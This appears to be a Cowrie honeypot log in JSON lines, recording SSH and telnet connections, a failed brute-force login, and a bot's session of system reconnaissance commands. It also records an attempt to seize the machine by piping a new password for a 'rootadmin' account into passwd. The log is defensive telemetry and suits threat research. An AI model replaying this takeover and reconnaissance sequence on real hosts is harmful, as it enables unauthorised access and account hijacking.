{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:16.282040Z","src_ip":"205.254.166.101","session":"131cdb77ce5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:17.147217Z","src_ip":"205.254.166.101","session":"131cdb77ce5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:18.359433Z","src_ip":"205.254.166.101","session":"131cdb77ce5f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:18.619554Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:18.622160Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33270,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c0b22536c4b","protocol":"telnet","message":"New connection: 134.209.8.29:33270 (159.203.135.109:23) [session: 6c0b22536c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:18.643182Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:18.834199Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:19.301993Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"rootadmin\\n0dX9lzUCkjMM\\n0dX9lzUCkjMM\"|passwd|bash","message":"CMD: echo -e \"rootadmin\\n0dX9lzUCkjMM\\n0dX9lzUCkjMM\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:19.305791Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:19.309859Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:19.313982Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/fa9686e443885a1968f840b24f055dfdf394ff71ae73af488adbf6d67aa01470","size":32,"shasum":"fa9686e443885a1968f840b24f055dfdf394ff71ae73af488adbf6d67aa01470","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/fa9686e443885a1968f840b24f055dfdf394ff71ae73af488adbf6d67aa01470 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:19.529115Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:19.994924Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"rootadmin\\n0dX9lzUCkjMM\\n0dX9lzUCkjMM\\n\"|passwd","message":"CMD: echo \"rootadmin\\n0dX9lzUCkjMM\\n0dX9lzUCkjMM\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:19.998481Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/85cca6054d371787dabc48d2acded344de41f585e2b95e737c983b4fee2cb1e9","size":25,"shasum":"85cca6054d371787dabc48d2acded344de41f585e2b95e737c983b4fee2cb1e9","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/85cca6054d371787dabc48d2acded344de41f585e2b95e737c983b4fee2cb1e9 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:20.213140Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:20.725246Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:20.729125Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:20.944784Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:21.415834Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:21.421251Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:21.637974Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.101238Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.104612Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.108215Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35136,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0692674ba01","protocol":"telnet","message":"New connection: 38.54.119.93:35136 (10.17.0.5:23) [session: d0692674ba01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.296718Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.326983Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.794436Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.798363Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60498,"dst_ip":"159.203.135.109","dst_port":23,"session":"61b067824353","protocol":"telnet","message":"New connection: 134.209.8.29:60498 (159.203.135.109:23) [session: 61b067824353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.805589Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60504,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb38f97f29b3","protocol":"telnet","message":"New connection: 134.209.8.29:60504 (159.203.135.109:23) [session: fb38f97f29b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:22.868417Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:23.013805Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:23.482124Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:23.485490Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:23.699908Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:24.169747Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:24.173022Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:24.388597Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:24.884145Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:24.887776Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:25.104405Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:25.586731Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:25.590938Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:25.807255Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:26.271499Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:26.274803Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:26.489983Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:26.969356Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:26.973637Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60516,"dst_ip":"159.203.135.109","dst_port":23,"session":"054eaac36558","protocol":"telnet","message":"New connection: 134.209.8.29:60516 (159.203.135.109:23) [session: 054eaac36558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:27.035612Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:27.189075Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:27.652080Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:27.655484Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:27.870173Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:28.339156Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:28.342876Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:28.557232Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:29.014109Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:29.017483Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:29.231105Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:29.236776Z","src_ip":"205.254.166.101","session":"8acd3515c8b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.564776420593262,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:33.432762Z","src_ip":"134.209.8.29","session":"fb38f97f29b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40382,"dst_ip":"159.203.135.109","dst_port":23,"session":"54b82732963a","protocol":"telnet","message":"New connection: 134.209.8.29:40382 (159.203.135.109:23) [session: 54b82732963a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:34.125318Z"}
{"eventid":"cowrie.session.closed","duration":0.6914410591125488,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:34.816632Z","src_ip":"134.209.8.29","session":"54b82732963a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.917872190475464,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:35.065847Z","src_ip":"134.209.8.29","session":"d8f3c02a88b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":59622,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ea51819f29a","protocol":"ssh","message":"New connection: 34.135.200.178:59622 (10.17.0.5:22) [session: 0ea51819f29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:36.653513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:36.659372Z","src_ip":"34.135.200.178","session":"0ea51819f29a","protocol":"ssh"}
